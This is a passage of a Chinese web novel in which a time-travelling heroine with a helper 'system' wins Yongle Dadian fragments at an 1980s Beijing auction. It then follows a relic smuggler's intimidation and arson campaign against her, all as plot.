写小说对她来说,从来不是任务,而是沉淀。脑子里有东西,自然就写得出来;没东西的时候,硬挤也没意思。 更何况,古建那边的事也占了她不少精力。 《清代官式建筑斗拱形制研究》的论文发表之后,她在学术圈里的地位算是立住了。老专家们从最初的质疑变成了认可,项目会上再也没人用那种“你行不行”的眼神看她。 “时墨同志。”上次开会时,那个头发花白的老专家甚至主动找她搭话,“你上次提的那个院落活化利用的方案,我觉得很有价值。回头你写个详细报告,我帮你递上去。” 时墨点点头:“谢谢您。” 老专家摆摆手,笑呵呵地说:“谢什么,你年轻又有本事,我们这些老家伙,能帮一把是一把。” 时墨心里微微一动。 她想起了自己曾经的导师,也是这样,话不多,但关键时刻从不吝啬伸手帮她。 这个时代的很多人,虽然嘴上不说,但骨子里都有种朴素的善意。 参与古建项目期间,时墨也没忘了文物收购。 八十年代末的收藏市场,遍地是漏,识货的人寥寥无几。很多在后世价值连城的国宝流散在民间,现在几十块、几百块就能买到手。 时墨手上资金充裕,又有系统的专业眼光加持,自然不会放过这个机会。 谢时昀和伊恩都知道她的喜好,不约而同地留意文物线索。 谢时昀那边路子广,做外贸的这些年结交了不少人脉,很快就帮时墨牵上了几条线。有个做古董生意的港商,手里囤了一批从内地收上去的老物件,正要转手卖到海外去。谢时昀从中搭桥,时墨亲自去看了货,一口气挑了十几件品相好的,打包运回京。 伊恩那边也不遑多让,利用自己的海外关系,联系欧洲、香江各大拍卖行和古董商,只要有华夏文物上拍,第一时间把图录送到时墨手上,不仅如此,他还托人在伦敦、巴黎的古董市场打听,只要是中国文物,都先问时墨要不要。 “下个月伦敦有一场拍卖会。”伊恩专门跑来时墨家,把一沓资料放在她桌上,“里面有几件东西,你可能感兴趣。” 时墨翻开一看,眼睛微微一亮。 那是一批从圆明园流失出去的瓷器,虽然不是什么顶级的国宝级文物,但胜在品相好、传承有序,放在市面上绝对是抢手货。 “能拿到图录吗?”时墨问。 “我已经让人去拍了照片,过几天就能拿到。”伊恩说着,又补充了一句,“你要是想去现场看实物,我帮你安排。” 时墨想了想,摇头:“太远了,不方便。你把资料给我,我自己判断。” 伊恩点点头,没有多劝。他现在却有一件更让他头疼的事。 他在华夏待了快三年了,当初说好的是交换生,最多两年就回去。可眼看着时间一天天过去,他不但没有要走的迹象,反而越扎越深。 家里的催促电话就没断过,先是邮件,后来是越洋电话,再后来直接派了父亲的贴身管家来劝他回去。 “伊恩少爷,您该回去了。老爷已经下了最后通牒。”一个五十多岁的老绅士,说话语气恭敬却强硬,“联姻的事已经定了,您要是再不回去,老爷就会冻结您在华夏所有的资产。” “老爷说,纵容你几年,你也该玩够了。” “冻结就冻结。”伊恩靠在沙发上,漫不经心地转着钢笔,“我在华夏赚的钱,足够养活我自己。” “您何必呢?”老助理叹了口气,“安娜小姐出身里希特霍芬家族,容貌、学识、家世都是顶尖的,两家联姻,对霍金斯家族的航运生意有天大的好处。” “好处是家族的,不是我的。”伊恩放下钢笔,眼神坚定,“我不会娶她。我喜欢的人在这里。” “可您的弟弟们,都在虎视眈眈盯着您的位置。” “我不在乎。” “你告诉父亲。”伊恩站起来,走到窗边,背对着老管家,“我 在华夏还有事没做完,做完自然会回去。” 老管家看着他,欲言又止,最后只能摇了摇头,转身离开。 伊恩站在窗前,看着楼下的车水马龙,脑海中浮现的却是时墨坐在院子里看书画图的画面。 阳光落在她身上,把她整个人都镀上了一层温柔的光。 她皱眉,勾唇,翻书,抬头,甚至只是发呆,都牢牢吸引住他的视线,无法移开。 他知道,自己大概是回不去了。 他拿出手机,给父亲拨了个越洋电话。 “爸,我再说最后一遍,我不娶安娜。” 电话那头沉默了很久,传来父亲冰冷的声音:“为了那个华夏女人?伊恩,你别忘了你是霍金斯家族的继承人!” “我没忘。”伊恩说,“但我首先是我自己。如果继承人的代价是娶一个我不爱的人,那这个位置,谁想要谁拿去。” “你疯了!”父亲怒吼道,“伊恩,你太让我失望了!” 伊恩听到这句紧握着话筒。 “抱歉,父亲。”伊恩挂了电话,闭上了眼睛。 他不知道自己是不是疯了,但他很确定,说出这句话后,他并不后悔。 可伊恩没想到的是,安娜会直接找上门来。 安娜·冯·里希特霍芬,从小锦衣玉食、众星捧月,从来没有被人拒绝过。 当她听说伊恩为了一个华夏姑娘拒婚的时候,第一反应不是伤心,而是被愤怒充满了。 “我倒要看看,是什么人让他连家族都不顾了。”安娜放下手里的银质餐具,用餐巾布优雅地擦了擦嘴角,金色的长发在灯光下泛着柔和的光,蓝色的眼睛却满是火气。 她当即订了飞往华夏的机票。 伊恩是在安娜落地之后才知道她到了。 他正在时墨家喝茶,助理急匆匆地打来电话,说安娜芬到了京城,已经住进了酒店,点名要见他。 伊恩端着茶杯的手顿了一下。 “谁?”他问。 “安娜小姐,您的……未婚妻。” 伊恩的脸色沉了下来。 时墨注意到他的表情变化,抬头看了他一眼:“怎么了?” “没事。”伊恩放下茶杯,挤出个笑容,“一点小事,我去处理一下。” 他站起来,走到门口又回头,看了一眼时墨毫无所觉的侧脸,心里忽然涌起一股说不清的烦躁。 她什么都不知道。 不知道他为了她拒了联姻,不知道他被家族施压,不知道他有多想留下来。 毕竟,她向来不过问他的私事。 * 时墨见到安娜是在拍卖会上。 那天是京城收藏界的一场小型拍卖会,来的都是圈内的老藏家和富商,气氛不算热烈,但好东西不少。 时墨是冲着压轴的《永乐大典》残页来的,虽然只有寥寥几页,但意义非凡。 时墨穿着一身天青色的真丝旗袍,长发挽起,气质清冷脱俗,一进场就吸引了不少目光。 她带着刘巍坐在角落里,安静地翻着拍卖图录。 谢时昀坐在她右手边,穿着深色西装,身姿挺拔,时不时凑过来跟她低声耳语两句,讨论哪些东西值得出手。 刘巍看着两人郎才女貌,相当般配的模样,自卑地垂下眼眸。 “第三件那个明代铜香炉,看着不错,要不要拍下来?” “宣德炉是仿的,内膛的包浆不对。”时墨摇了摇头,“别浪费钱。” “好,听你的。” 在文物这件事上,谢时昀知道,时墨的眼光比谁都准。 就在这时,宴会厅的门开了。 伊恩走了进来,身边跟着一个金发碧眼的女人。 女人穿着墨绿色的丝绒礼服,身材高挑,五官深邃,金色的长发盘在脑后,露出修长的脖颈,脖子上戴着一条钻石项链,在灯光下熠熠生辉。她挽着伊恩的手臂,神态优雅,眼神却带着一种居高临下的审视,扫过全场。 【宿主。请注意你右前方那位金发女士,安娜·冯·里希特霍芬,23岁,德国里希特霍芬家族幼女。该家族在欧洲拥有广泛影响力,业务涵盖金融、制造业及艺术品投资,实力雄厚。她旁边那位是她的私人管家海因里希,前德国特工,身手极好。】小七的声音适时响起。 时墨收回目光,继续翻图录。 “那个应该就是伊恩的联姻对象。”谢时昀压低声音,确定道 “嗯。”时墨淡淡道。 伊恩一眼就看到了角落里的时墨,脸上立刻露出笑容,快步走了过来:“墨墨,你来了。” “嗯,来看看。”时墨抬起头,礼貌地笑了笑。 安娜跟在伊恩身后,目光落在时墨身上,从上到下打量了一遍。她的眼神很直接,没有掩饰自己的好奇和审视,像是在评估一件商品。 “这位就是时小姐吧?”安娜伸出手,一口流利的中文,带着一点淡淡的口音,“我是安娜,伊恩的未婚妻。经常听他提起你。” 时墨握了握她的手,同样是英语回应道:“欢迎来华夏,安娜小姐。” 安娜笑了笑,没再说什么,挽着伊恩的手臂坐到了不远处的位置。 时墨收回目光,继续翻图录。 【宿主,你不好奇她为什么来吗?】 【不好奇。】时墨在心里说,【她来,无非是因为伊恩,跟我没关系。】 【你倒是淡定。】 【没必要在意。】 拍卖会正式开始。 前几件拍品都是瓷器和字画,价格不高,时墨一直没出手,保持着观望状态。 倒是安娜那边,举了好几次牌,买了两件翡翠首饰和一幅清代花鸟画,出手阔绰,眼睛都不眨一下。 她举牌的时候,总会有意无意地瞟一眼时墨。 时墨注意到谢时昀也在留意着安娜,看她举牌的频率和价位,估算她的财力底线。 第五件拍品是一对清乾隆年间的青花缠枝莲纹赏瓶,,品相完好,釉色莹润,起拍价三千块。 时墨本来有点兴趣,刚要举牌,安娜突然抢先一步:“五千。” 全场愣了一下,随即有人跟进:“六千。” “八千。”安娜毫不犹豫。 价格一路涨到一万二。 【宿主,她在故意抬价。】 【我知道。】 时墨瞥了一眼伊恩,他的表情明显不太好看,几次凑过去跟安娜耳语,但安娜只是笑着摇头,继续举牌。 价格一路飙到了一万五。 时墨靠在椅背上,放下了手里的号牌。 “不要了?”谢时昀侧头看她。 “不值。”时墨摇了摇头,“这对瓶子虽然是官窑,但有冲线,一万二溢价太多了。她想要,就让她拿。” 可安娜似乎不打算就此罢休。 接下来的几件拍品,只要时墨举牌,安娜必定跟上,价格一路往上抬,摆明了是故意抬价。 一次两次还好,次数多了,全场的目光都若有若无地落在了时墨和安娜身上。 谢时昀的眼神冷了下来。 伊恩的脸色越来越黑,几次按住安娜的手,都被她笑着推开了。 “伊恩,别这么小气嘛。”安娜凑到他耳边,用德语说,“我就是想看看,你喜欢的人,到底有多大的本事。” 谢时昀的眼神冷了下来。他放下茶杯,低声对时墨说:“别跟她置气,等会儿我帮你出气。” 时墨笑了笑:“没事,正好帮我筛掉那些可买可不买的。” 很快,拍卖师推出了一件蓝宝石项链。 项链由一颗五克拉的皇家蓝宝石和碎钻镶嵌而成,切割完美,火彩夺目,正是安娜之前在图册上圈出来的款式。 “这件蓝宝石项链,起拍价十万,每次加价不得少于一万。” 安娜立刻举牌:“十万。” 全场安静,没人跟她抢。 就在拍卖师要落槌的时候,谢时昀突然举起了号牌:“二十万。” 全场哗然。 安娜愣了一下,随即皱起眉:“二十五万。” “三十万。”谢时昀面无表情,加价毫不犹豫。 “三十五万!”安娜咬着牙,她不信谢时昀会为了一条项链跟她死磕。 “四十万。”谢时昀看都没看她,目光平静地看着拍卖师。 安娜的脸色变了。她不是拿不出这点钱,但谢时昀的态度明显是在跟她作对。 “四十五万!” “四十六万。”谢时昀每次都只加一万,像是在戏耍她。 安娜气得浑身发抖,刚要再举牌,伊恩突然按住了她的手。 “够了,安娜。”伊恩的声音冰冷,没有一丝温度。 他举起号牌,看着拍卖师,一字一句道:“七十万。” 全场瞬间鸦雀无声。 所有人都惊呆了,七十万买一条蓝宝石项链,简直是疯了! 安娜不敢置信地看着伊恩:“伊恩!你疯了?为了她,你居然这么对我?” “安娜,我警告过你。”伊恩看着她,蓝色的眼睛里没有任何感情,“这里是华夏,不是德国。别把你那套大小姐脾气带到这里来,更别针对我在乎的人。” 说完,他看向拍卖师:“没人加价了吧?” 拍卖师回过神来,连忙落槌:“七十万一次!七十万两次!七十万三次!成交!” 安娜猛地站起来,抓起手包,转身就走。她的管家连忙跟了上去。 伊恩看着她的背影,松了口气,转头看向时墨,脸上露出一个歉意的笑容:“对不起,墨墨,给你添麻烦了。” “没事。”时墨摇了摇头,心里却清楚,伊恩这是用最极端的方式,给了安娜和他的家族一个明确的答复。 谢时昀看着伊恩目前的处境,没有在此刻落井下石。 小插曲过后,终于到了压轴拍品——《永乐大典》残页。 拍卖师小心翼翼地捧着一个锦盒走上台,打开锦盒,里面是六页泛黄的宣纸,字迹工整,墨色如新。 “接下来这件拍品,是《永乐大典》卷二千三百四十九残页,共六页,保存完好,字迹清晰。起拍价十万,每次加价不得少于五万。” 场内一片安静。 在座的大多数人对古籍并不感兴趣,也不清楚这卷残页的真正价值。他们看惯了瓷器、字画、玉器,对这种“破纸”没什么概念。 只有少数几个懂行的老藏家,眼睛亮了起来,身体微微前倾,露出了感兴趣的神色。 【宿主,这卷残页里收录的是《永乐大典》中“漕运”相关的章节,内容涉及明代运河管理、税收制度、水利工程等。目前已知存世的《永乐大典》不足四百卷,每一页都极其珍贵。这卷残页一旦被识货的人认出来,价格至少翻十倍。】 【而且这卷残页里不仅有漕运制度,还有明代皇家仓库的分布图!梅先生手札里说的“永乐藏珍”,就在这个仓库里!姜云森的人就在门口,本来打算最后出手抢的!】小七的声音激动得都变调了。 时墨的心跳快了一拍。她不动声色地看了一眼宴会厅的门口,果然看到一个穿黑西装的男人,正低着头打电话。 “十五万。”一个老藏家率先举牌。 “二十万。”另一个人跟进。 “二十五万。” 价格慢慢涨到了四十万,举牌的人越来越少。 老东西虽然值钱,但毕竟只是几页纸,四十万已经超出了大多数人的心理预期。 就在拍卖师要落槌的时候,时墨终于举起了号牌:“五十万。” 全场看了她一眼,没人说话。 刚才那个老藏家犹豫了一下,举牌:“五十五万。” “六十万。”时墨毫不犹豫。 “六十五万。”老藏家咬了咬牙。 “八十万。”时墨直接加价十五万,语气坚定,势在必得。 全场哗然。 八十万买几页破纸?这个小姑娘是不是疯了? 老藏家愣了一下,看着时墨笃定的眼神,摇了摇头,放下了号牌。他虽然喜欢古籍,但也不会花这么多钱赌几页不知道写了什么的纸。 就在这时,门口那个穿黑西装的男人突然举牌:“八十五万。” 时墨的眼神一冷。 姜云森的人,终于出手了。 “九十万。”时墨没有丝毫犹豫,立刻加价。 男人犹豫了一下,似乎在等电话那头的指示。过了几秒,他再次举牌:“九十五万。” “一百万。”时墨的声音平静却带着不容置疑的力量。 男人拿着电话,脸色越来越难看。过了一会儿,他放下电话,摇了摇头,不再举牌。 拍卖师环顾全场,大声道:“一百万一次!一百万两次!一百万三次!成交!恭喜这位女士!” 槌声落下,时墨松了口气,靠回椅背。 一百万,在八九年绝对是一笔巨款。但比起这卷残页的价值,比起那些可能永远找不回来的国宝,这点钱根本不算什么。 谢时昀看着她,眼里满是笑意:“恭喜你,得偿所愿。” “谢谢。”时墨笑了笑,眼底是藏不住的喜悦。 拍卖会结束后,时墨去后台办理交接手续。拿到锦盒的那一刻,她迫不及待地打开,轻轻抚摸着泛黄的纸张。 字迹是标准的台阁体,工整有力。翻到最后一页,她的指尖顿住了——在纸张的右下角,有一个用朱砂画的小小的梅花标记,和梅先生手札里的标记,一模一样! 【宿主!没错!就是这个标记!跟梅先生手札里的藏珍图标记完全一致!】小七激动地喊。 时墨小心翼翼地合上锦盒,心里涌起一阵狂喜。 找了这么久,终于找到线索了! 伊恩拿着刚拍到的蓝宝石项链,走到时墨面前,递给她:“墨墨,这个送给你。” 时墨接过盒子,打开看了一眼,蓝宝石在灯光下熠熠生辉。她抬头看向不远处脸色铁青的安娜,对方正恶狠狠地盯着这边,忍不住笑了:“你确定要送给我?不怕安娜更生气?” “生气就生气吧。”伊恩笑了笑,“本来就是拍给你的。” 时墨也不矫情,收下了盒子:“谢谢,我很喜欢。” 两人正说着,安娜突然走了过来。她已经平复了情绪,脸上又恢复了优雅的笑容,只是眼神还有点冷。 “伊恩,我们该走了。”她说完,看向时墨,“时小姐,明天下午三点,半岛酒店咖啡厅,我想跟你聊聊。” 没等时墨回答,她就转身走了。 伊恩皱起眉:“别理她,她就是无理取闹。” “没事。”时墨笑了笑,“我也正好想跟她聊聊。” 第二天下午,时墨准时赴约。她带了一束白色的郁金香,还有一套景泰蓝首饰作为伴手礼。 安娜已经到了,穿着一条剪裁利落的白色连衣裙,披散这金发,坐在靠窗的位置。 看到时墨进来,她有些意外地挑了挑眉:“我还以为你不会来。” “为什么不来?”时墨坐下,把伴手礼递给她,“一点小礼物,希望你喜欢。” 安娜打开首饰盒,看着里面精致的景泰蓝手镯,眼睛亮了亮:“很漂亮,谢谢。我以为你会讨厌我。” “为什么要讨厌你?”时墨端起咖啡,轻轻抿了一口,“你只是想看看伊恩喜欢的人是什么样,换了我,我也会好奇。” 安娜愣了一下,随即笑了出来。这是她第一次在时墨面前露出真心的笑容。 “你跟我想象的不一样。”她说,“我本来以为伊恩喜欢的人,要么是那种极漂亮的花瓶,要么是那种心机深沉,特别功利的女人。但你不是。” 时墨没接话,等她继续说。 安娜靠在椅背上,语气随意了些:“我调查过你。你很优秀,比我还要优秀。二十岁就能在文坛、商界、学术界都做出这么好的成绩,难怪伊恩会喜欢你。” “谢谢。”时墨笑了笑,“不过我跟伊恩只是好朋友,彼此欣赏而已。我对他没有男女之情。” “我知道。”安娜点了点头,“我看得出来。你看他的眼神,没有爱意。” 她叹了口气,靠在椅背上,坦然道:“其实我也不喜欢伊恩。我们只是家族安排的联姻对象。他是所有候选人里最不讨厌的一个,长得帅,脑子好使,家世匹配。” “我们这种人,从出生起就没有选择的权利。”安娜看着窗外,语气带着一丝疲惫,“恋爱可以随便谈,但结婚,必须是强强联合。我父亲身体不好,家族需要我联姻来巩固地位。” 时墨点点头:“我理解。”在任何时代,豪门的婚姻,从来都不是两个人的事。 “不过现在好了。”安娜转过头,看着时墨,眼睛亮了起来,“伊恩拒绝了我,我正好可以跟我父亲说,不是我不想嫁,是他不愿意。这样我就能再拖几年了。” 时墨忍不住笑了:“那你是不是还要谢谢我?” “的确。”安娜点了点头,“要不是你,我现在已经在筹备婚礼了。” 她伸出手,笑着说:“我们做朋友吧。说实话,我挺喜欢你的性格,直接,不做作。比我身边那些虚伪的贵族小姐强多了。” 时墨握住她的手:“好啊,好朋友。” “对了。”安娜像是突然想起了什么,“我听说你在做文物回流?我家在欧洲有很多航运线路,还有不少古董商朋友。如果你需要,我可以帮你。” 时墨惊喜道:“真的?那太好了!我正愁海外的运输渠道呢。” “包在我身上!”安娜拍了拍胸脯,“以后有什么事,随时找我。谁敢欺负你,我帮你收拾他!” 两人越聊越投机,从文物聊到生意,从中国文化聊到欧洲历史,不知不觉就聊了一下午。 离开半岛酒店的时候,安娜拉着时墨的手,依依不舍:“过几天你要带我好好逛逛京市,我听说这里有很多特色美食。” “好啊。”时墨笑着应下。 而此时,香江著名酒店的顶楼套房里。 姜云森穿着黑色的唐装,站在落地窗前,手里把玩着一枚玉扳指,脸色阴沉得能滴出水来。 “废物!连几页纸都拿不回来!”他猛地转身,一巴掌扇在手下的脸上。 手下捂着脸,不敢抬头:“先生,对不起。时墨出价太高了,我们的预算不够。而且她身边有谢时昀和那个英国人护着,我们没机会下手。” “预算不够?”姜云森阴冷道,“我养你们有什么用!那卷残页比什么都重要!没有它,我们找不到永乐藏珍!” 他走到桌边,拿起时墨在拍卖会上举牌的照片,眼神阴鸷道:“时墨,又是你,坏了我的好事。” “既然你这么喜欢多管闲事,那我就陪你好好玩玩。” 第93章 时墨花一百万拍下《永乐大典》六页残卷的消息, 一夜之间轰动了整个京城收藏圈。 一百万的古籍,在现在绝对是天价。有人惊叹她出手阔绰,有人嘲笑她人傻钱多, 更多的人好奇, 那几页破纸里到底写了什么, 值得她砸这么多钱? 时墨对这些议论充耳不闻。 她处理完安娜的事后便去找了她师父。 宋正先正在院子里写大字, 宣纸上“守拙”两个字苍劲有力。 “师父。” 宋正先放下毛笔,摘下老花镜:“怎么这个点来了?看你脸色不好,出事了?” 时墨把布袋子往石桌上一放,小心翼翼地捧出锦盒:“您先看看这个。” 锦盒打开的瞬间,宋正先的瞳孔骤然收缩, 手里的老花镜差点掉在地上。 “《永乐大典》残页?卷二千三百四十九?”他颤抖着戴上眼镜, “你从哪儿弄来的?” “前天内部拍卖会压轴的就是这个,我花一百万拍下来的。”时墨说。 宋正先倒吸一口凉气, 他没有被价格镇住, 作为行家,他知道《永乐大典》残页的价值远不止一百万。 宋正先戴上老花镜, 翻开泛黄的纸张, 一页一页仔细阅读。当翻到最后一页的时候, 他的手猛地顿住, 纸张右下角, 一个指甲盖大小的朱砂梅花标记,在泛黄的纸面上格外醒目。 宋正先抬起头看着时墨,眼神里满是震惊和凝重。 “师傅, 你认得这个标记。”时墨断定道。 宋正先沉默片刻,把残卷轻轻放回锦盒,摘下眼镜, 揉了揉眉心,声音低沉道“老孙手里之前有一本梅先生的手札,里面记录了当年故宫南迁时,一批来不及运走的文物被秘密埋藏的地点。那个手札上,就有这个梅花标记。” 宋正先叹了口气,眼底满是痛色:“梅先生当年带着三个学生藏这批国宝,说好等太平了再一起挖出来。可没过几年,三个人先后离奇遇难,手札也失踪了一半。知道内情的人要么死了,要么闭了嘴,这事慢慢就成了传说。直到五年前,老孙突然找到我,说他找到了另一半手札的线索,结果……他也因为这事遇害。” 时墨沉思片刻道:“拍卖会上,有个香港男人跟我抢残卷。每次加价都要先打电话请示,最后我出到一百万,他才放弃。” 宋正先猛地抬头:“谁?” 时墨没有隐瞒:“不认识,但我估计是姜云森的人。之前想搞垮时记的宏达超市,幕后老板就是他,他真正做的是文物走私,给我使过好几次绊子,我甚至怀疑孙教授的死亡也是他在背后操纵。” 时墨没法说从系统得知来的消息,只能旁敲侧击地提醒着。 “姜云森?”宋正先的脸色沉了下来,背着手在院子里来回踱步,脚步急促,“这个名字我听过!香江最大的文物走私贩子,手上沾了不少人的血!没想到他竟然把手伸到京市来了!” “如果这个姜云森知道梅花标记的事,那他就和老孙的死有关!”宋正先断言道。 “所以我才来找您。”时墨拍了拍锦盒,“残卷在我手里,他只会盯着我一个人。我想以个人名义成立一个古籍保护基金,由您牵头,把整个收藏圈都拉进来。到时候,永乐藏珍的事,就不是我一个人的事了。” 宋正先愣了一下,随即看着时墨,眼里满是欣慰:“你这孩子,比我想的还要通透。别人拍到宝贝恨不得藏进地窖,你倒好,主动把水搅浑。好!这事我来办!” 他走到时墨身边,拍了拍她的肩膀:“你放心,我这就联系局里的老伙计,再安排几个可靠的人暗中保护你和你的家人。姜云森心狠手辣,你千万不能大意。” 时墨心里一暖,本想说不必,她有系统商城买的监控套餐,方圆五百米内任何风吹草动都逃不过小七的感知,但她却不能说:“谢谢师父。” 三天后,宋正先牵头成立的“华夏古籍保护基金”在圈内引起了不小的震动。 时墨以个人名义捐了两百万,是基金成立以来最大的一笔个人捐款,捐赠仪式上,国家文物局的领导亲自给她颁发了证书,各大报纸都在头版刊登了这条消息。 一时间,时墨“爱国收藏家”的名声彻底打响。 “时墨?就是花一百万拍《永乐大典》残卷的那个小姑娘?她又捐了二百万?” “人家不光是写书的,手里还有好几家超市,听说最近又搞起了房地产,有钱得很。” “有钱是有钱,但肯拿两百万出来做文物保护,这份心难得。” “是啊,这么有家国情怀,比那些赚了钱就往国外跑的强多了!” “宋老都出面站台了,这事肯定错不了!我也捐两万,尽点心意!” 圈里的老前辈们更是对她刮目相看,一个二十多岁的姑娘,不仅有眼光有魄力,还有这份心系家国的情怀,确实难得。 几通电话从四面八方打来,主动把手里的文物线索分享给她,还有人愿意把祖传的古籍低价转让给她,让她好好保管。 所有人都以为,时墨拍下的那卷《永乐大典》残页,已经随着这笔捐赠,一起交给了国家。 只有时墨和宋正先知道,真正的残页,还锁在时墨家书房的保险柜里。捐赠给基金的,只是时墨找高手临摹的一份高仿本,连纸张的纤维、墨迹的年代感都做得一模一样,除非用碳十四检测,否则根本看不出差别。 可时墨没想到,姜云森根本不信这套。 香江的别墅里,姜云森看着报纸上时墨捐款的照片,冷笑一声,把报纸揉成一团扔进垃圾桶。 “想拿这一套糊弄我?时墨,你还嫩了点。” 几天后的一个下午,赵海霖正在家给王桂英削苹果,王桂英的肚子已经九个多月了,随时可能生产。突然,时墨的大哥大打了过来。 【宿主,赵海霖家楼下单元门旁边,两个穿黑夹克的男人已经蹲了四十分钟了!其中一个口袋里藏着钢管!】小七急促提醒道。 时墨脸色一变,立刻拨通赵海霖的电话:“海霖哥!别出门!把门窗都锁好!楼下有坏人!” 赵海霖手里的苹果“啪”地掉在地上,他立刻冲到窗边,撩开窗帘一角,果然看到两个鬼鬼祟祟的男人在楼下抽烟。 “墨墨,真有两个人!”赵海霖的声音有点慌,“怎么办?” “别慌。”时墨的声音冷静得像定海神针,“我已经让谢哥带两个保安过去了,十分钟就到。你就在家待着,谁敲门都别开。我现在也过去。” 挂了电话,赵海霖赶紧把防盗门反锁。王桂英见出了事,紧张地抓着他的手:“怎么回事啊?是不是有人要找我们麻烦?” “没事,别怕。”赵海霖拍了拍她的手,强作镇定道,“墨墨已经派人来了,一会儿就没事了。” 十分钟后,谢时昀带着两个保安赶到,两个男人见势不妙,立刻溜走了。 赵海霖松了口气,后背已经被冷汗浸湿。 紧接着,时墨又接到了父母那边的预警。 【宿主,你爸妈家附近也出现可疑车辆,车牌号京C·XXXXX,已记录在案。有个穿着检修工衣服的人从车上下,去你家了。】 时墨的眼神冷了下来,立刻给父亲时爱国打了电话:“爸,我得罪了一个生意场上的人,刚得知对方伪装成煤气检修工上门,你们一会儿千万别开门,我已经报警了。” “什么人这么大胆子?”时爱国的声音严肃起来。 “生意上的事,我会处理好。” 时墨挂了电话靠在椅背上,眼底一片冰冷。 【宿主,要不要报警?】 “报警没用。”时墨说,“他又没动手,只是踩点。就算抓到了人,也咬不出姜云森。从上次他在拍卖会上派人抢东西就能看出来,他做事很谨慎,不会留下把柄。” 【那怎么办?】 “等着。”时墨说,“他既然动了这个心思,就一定会动手。” 连续两次出手都扑了空,姜云森的脸色难看到了极点。 “废物!一群废物!”他把手里的茶杯狠狠摔在地上,碎片溅了一地,“连两个普通人都搞不定!我养你们有什么用!” 手下低着头,不敢说话。 “先生,”一个心腹小心翼翼地说,“时墨好像提前知道了我们的行动,每次都能精准避开。她身边肯定有高人,而且安保做得特别严,我们根本近不了身。” 姜云森阴沉着脸,手指在桌上狠狠敲着。 他没想到时墨竟然这么难搞。 既然动不了她的家人,那就换个方式。 当天夜里,时墨睡得正香,系统的警报突然尖锐地响起。 【宿主,紧急预警!你出租的那套院子起火了!火势三级!消防已经出警!】 时墨猛地睁开眼睛,翻身坐起:“有没有人员伤亡?” 【租户一共五户八个人,都已经安全撤离了!无人受伤。但房子烧得不轻。】 时墨知道无人伤亡松了口气,随即一股怒火涌上心头。 姜云森,你够狠。 竟然用纵火这种下三滥的手段。 时墨声音冷得像是冰碴子:“火是怎么起的?” 【初步判断,起火点在院子东侧杂物间,那里堆了不少杂物和木料。但根据温度数据分析,不排除人为纵火的可能,火源温度异常,疑似助燃剂导致的迅速燃烧。】 第二天一大早,时墨就赶到了现场。 四合院被烧得面目全非,屋顶塌了一半,墙面被熏得黢黑,院子里到处是积水和烧焦的木头、碎瓦片,空气中弥漫着一股呛人的焦糊味,还混着一股淡淡的汽油味。 租户们站在院子外面,穿着从邻居家借来的衣服,一个个惊魂未定。 一个抱着孩子的女人坐在石头上哭,孩子手里攥着一个烧了一半的布娃娃,吓得哇哇直哭。 “时墨来了!”有人喊了一声。 租户们立刻围上来,七嘴八舌地说着昨晚的情况。 “时墨啊,你不知道昨天吓死人了!火一下子就窜起来了,跟浇了油似的!” “多亏了老李他媳妇,半夜起来上厕所,闻到烟味大喊了一声,我们才跑出来的!” “是啊!我们跑出来的时候,火都烧到房檐了!要不是李婶,我们都没命了!” 时墨看着他们狼狈的样子,心里满是愧疚。 “对不起,是我没做好安保,让大家受惊了。”她拿出事先准备好的现金,给每个租户发了两千块钱,“这些钱你们先拿着,找个地方住下。家里的损失,我会照价赔偿。这院子烧得太厉害,暂时不能住人了,房租我会全部退还。” 租户们接过钱,都感动得不行。 “时墨,这怎么好意思!火又不是你放的!” “是啊!您已经够意思了!换别的房东,早就跑了!” “可不嘛,我们住您这儿两年 ,房租从来没涨过,有什么事您都替我们想着。这年头,上哪儿找这么好的房东去?” 时墨没有多说什么,又安慰了他们几句,看着他们离开。 这时,消防队长走了过来,递给她一份初步鉴定报告:“时小姐,起火点在东侧杂物间,我们在现场发现了汽油残留。这不是意外,是人为纵火。” 时墨接过报告,指尖微微用力,把纸捏出了褶皱。 “我知道了。” 【小七,查到是谁干的了吗?】 【查到了!是姜云森的手下阿坤!昨晚二点半翻墙进的院子,泼了汽油点火后跑了。监控拍得清清楚楚。宿主,要不要反击?】 【把姜云森所有的走私渠道、资金往来,全部给我调出来。我要让他付出代价!】 【宿主,这需要调用高级数据库,风险很大。如果再被主系统抓到……】 【所以,我们要做得更隐蔽一些。他不是喜欢躲在暗处吗?那我就把他拉到明处来,给他递个引子。】 接下来的一周,姜云森的人像是疯了一样,不断找机会下手。 有人在时墨常去的书店蹲点,时墨从后门绕开,让店员报了警;有人跟踪谢时昀的车,谢时昀故意把车开到警察局门口,把人甩掉;有人试图往时记超市的蔬菜里喷农药,被赵红梅当场抓住,扭送到了派出所;甚至有人在时墨爸妈家楼下放鞭炮,想引他们出门,结果被埋伏的保安抓了个正着。 姜云森彻底被激怒了。 他承认,他低估了时墨。 上次烧房子,他本意是威胁她,让她知道害怕,主动交出残页。 没想到时墨不但没被吓到,反而在第二天又捐了五十万,还借着宋正先的关系弄了个收藏圈内部的会议,商讨永乐藏珍的事。 这一招,彻底打乱了他的计划。 他再想神不知鬼不觉地挖出永乐藏珍,几乎不可能。 更让他恼火的是,时墨身边的安保完全不像一个普通小姑娘该有的配置。他派去的人每次还没靠近就被甩开了,就像有一双无形的手在暗中操控着一切。 “时墨!我就不信你能防一辈子!”他在办公室里砸了所有能砸的东西,喘着粗气,眼神像要吃人。 “先生,”心腹再次开口,“我们查过了,时墨身边有个助理,叫刘巍,是她的高中同学。家境贫寒,父亲是煤场工人,母亲常年生病,还有四个弟弟妹妹。这小子每周六日都去时墨家帮忙整理资料,两个人单独相处,时墨对他很信任。” “有多信任?” “据说时墨的文件他都有经手。” 姜云森靠在沙发上,手指有节奏地敲着扶手。 他竟然忘了这个不起眼的穷学生。 谢时昀有背景有保镖,伊恩是外国人不好动,赵海霖和时墨的家人现在深居简出,安保严密。 只有这个刘巍,没背景,没势力,孤身一人在京城上学,是最好下手的目标。 “那就从他下手。”姜云森的声音里带着玩味的冷意,“盯紧他的行踪,找个合适的机会动手。我倒要看看,时墨是要残页,还是要她这个小助理的命!” “是。” 时墨对此一无所知。 她以为自己布下的天罗地网,已经足够安全。系统的监控覆盖了她和家人的住所、时记的所有门店,还有谢时昀和赵海霖的行踪。她唯独忘了,刘巍只是个普通的学生,没有被纳入系统的重点监控范围。 周六,刘巍本该上午九点准时到时墨家整理资料。 结果时墨等到九点半,他还没来。 十点,还是没来。 这不像他。 刘巍这个人,做事从来都是提前到,从来没有迟到过。哪怕是大雪天,路滑难走,他也会提前出门,保证准时出现在她家门口。 时墨的直觉告诉她,出事了。 